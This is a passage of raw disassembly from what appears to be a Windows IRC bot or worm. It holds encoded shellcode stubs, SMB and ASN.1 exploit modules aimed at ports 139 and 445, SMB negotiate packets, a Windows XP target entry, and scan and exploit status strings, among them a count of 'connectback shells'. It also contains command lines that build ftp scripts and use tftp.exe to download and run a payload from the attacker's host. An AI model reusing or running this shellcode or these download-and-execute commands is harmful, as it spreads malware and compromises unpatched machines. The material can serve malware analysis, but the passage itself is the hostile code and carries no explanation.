'Ackerman',0 ; DATA XREF: ___:0042DCBCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCB8o align 10h byte_431910 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431914 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431918 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431920 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431924 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431928 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43192C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431930 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431934 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431938 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43193C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431940 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431948 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431958 ; --------------------------------------------------------------------------- loc_431956: ; CODE XREF: ___:loc_431958p jmp short loc_43195D ; --------------------------------------------------------------------------- loc_431958: ; CODE XREF: ___:00431954j call loc_431956 loc_43195D: ; CODE XREF: ___:loc_431956j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_431964: ; CODE XREF: ___:00431969j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_431964 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_43197A: ; CODE XREF: ___:0043197Fj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_43197A ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431A1C jnz short loc_431A08 retn ; --------------------------------------------------------------------------- loc_431A08: ; CODE XREF: ___:00431A05j ; ___:00431A15j call near ptr loc_431A0D+1 loc_431A0D: ; CODE XREF: ___:loc_431A08p add [edx+0], ch call sub_431A1C jz loc_431A08 retn ; =============== S U B R O U T I N E ======================================= sub_431A1C proc near ; CODE XREF: ___:00431A00p ; ___:00431A10p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431A1C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431AC8 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431ACC dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431AD0 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431AD4 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431AD8 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431ADC dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 4 db 2 dup(0) byte_431CAA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_1 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431CD6 ; =============== S U B R O U T I N E ======================================= sub_431CC6 proc near ; CODE XREF: sub_431CC6:loc_431CD6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_431CCE: ; CODE XREF: sub_431CC6+Cj xor byte ptr [edx+ecx], 99h loop loc_431CCE jmp short loc_431CDB ; --------------------------------------------------------------------------- loc_431CD6: ; CODE XREF: ___:00431CC4j call sub_431CC6 loc_431CDB: ; CODE XREF: sub_431CC6+Ej jo short near ptr dword_431C64+12h cwde cdq cdq retn sub_431CC6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431E58 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_431E64 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431E84 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431ECC db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431F08 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431F18 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431F34 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431F68 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431F98 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431FB8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431FD4 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_432008 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_432070 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4320A4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_4320D8 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_43210C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_432134 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43216C db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4321AC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_432218 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_43224C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_432300 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_432308 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_43230C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_432314 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43239C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4323CC dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_4323D8 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432424 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432468 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432564 push dword ptr [esi] push 63D61209h call sub_43257A mov [esi+8], eax call sub_43252D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43257A mov [esi+0Ch], eax call sub_4324DF push dword ptr [esi+4] push 4C0297FAh call sub_43257A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432468 endp ; =============== S U B R O U T I N E ======================================= sub_4324DF proc near ; CODE XREF: sub_432468+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432508 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4324DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432508 proc near ; CODE XREF: sub_4324DF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432517: ; CODE XREF: sub_432508+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432524 inc ebx jmp short loc_432517 ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: sub_432508+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432508 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43252D proc near ; CODE XREF: sub_432468+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432545: ; CODE XREF: sub_43252D+1Ej cmp [ecx], ebx jz short loc_43254D mov ecx, [ecx] jmp short loc_432545 ; --------------------------------------------------------------------------- loc_43254D: ; CODE XREF: sub_43252D+1Aj mov edx, edi loc_43254F: ; CODE XREF: sub_43252D+2Aj cmp [edx+4], ebx jz short loc_432559 mov edx, [edx+4] jmp short loc_43254F ; --------------------------------------------------------------------------- loc_432559: ; CODE XREF: sub_43252D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43252D endp ; =============== S U B R O U T I N E ======================================= sub_432564 proc near ; CODE XREF: sub_432468+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432564 endp ; =============== S U B R O U T I N E ======================================= sub_43257A proc near ; CODE XREF: sub_432468+16p ; sub_432468+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_432590: ; CODE XREF: sub_43257A+33j jecxz short loc_4325CA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_43259D: ; CODE XREF: sub_43257A+2Dj lodsb cmp al, ah jz short loc_4325A9 ror edi, 0Dh add edi, eax jmp short loc_43259D ; --------------------------------------------------------------------------- loc_4325A9: ; CODE XREF: sub_43257A+26j cmp edi, [esp+20h+arg_0] jnz short loc_432590 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4325CA: ; CODE XREF: sub_43257A:loc_432590j ; sub_43257A:loc_4325CAj jmp short loc_4325CA sub_43257A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4325D0 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432622 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_4325ED: ; CODE XREF: sub_4325D0+38j jecxz short loc_43261D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_4325F8: ; CODE XREF: sub_4325D0+32j lodsb test al, al jz short loc_432604 ror edx, 0Dh add edx, eax jmp short loc_4325F8 ; --------------------------------------------------------------------------- loc_432604: ; CODE XREF: sub_4325D0+2Bj cmp edx, [esp+arg_0] jnz short loc_4325ED mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43261D: ; CODE XREF: sub_4325D0:loc_4325EDj mov [esp+arg_0], ebx retn sub_4325D0 endp ; =============== S U B R O U T I N E ======================================= sub_432622 proc near ; CODE XREF: sub_4325D0+7p ; FUNCTION CHUNK AT 0043265A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43263B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432646 ; --------------------------------------------------------------------------- loc_43263B: ; CODE XREF: sub_432622+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432646: ; CODE XREF: sub_432622+14j pop edi xor esi, esi pusha push esi jmp short loc_43265A sub_432622 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43264D proc near ; CODE XREF: sub_432622:loc_43265Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43264D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432622 loc_43265A: ; CODE XREF: sub_432622+29j call sub_43264D loc_43265F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432622 ; --------------------------------------------------------------------------- dw 0 dword_432664 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_432670 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_432674 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_432678 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_432684: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_43268C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43268C dd 0 ; CODE XREF: ___:loc_432684j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_4326F8 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432704: ; CODE XREF: ___:0043270Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432704 inc edi jz short loc_43274B and eax, 952CE753h inc esp jle short loc_432773 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43274B: ; CODE XREF: ___:00432711j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4327AA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_432770: ; CODE XREF: ___:0043279Dj xor [esi-25h], bl loc_432773: ; CODE XREF: ___:00432719j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_43278C: ; CODE XREF: ___:004327BFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_432770 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4327AA: ; CODE XREF: ___:00432751j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432836 jo short loc_43278C fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_4327CD+1 add bl, [edi] loc_4327CD: ; CODE XREF: ___:004327C9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_4327E2+2 cmp ch, bh dec edx loc_4327E2: ; CODE XREF: ___:004327DDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432836: ; CODE XREF: ___:004327BDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4328BC sub al, 0BCh jmp near ptr 54452C2Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432858 dd 0EFFFC481h, 44FFFFh, 4328A4h ; DATA XREF: ___:0040DC32o dword_432864 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_432868 dd 3E8h ; DATA XREF: ___:0040DC56r dword_43286C dd 258h ; DATA XREF: ___:0040DC28r byte_432870 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432888 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432874o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4328BC: ; CODE XREF: ___:00432840j push eax xor al, 29h loc_4328BF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_4328C8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_4328DC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_432984 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 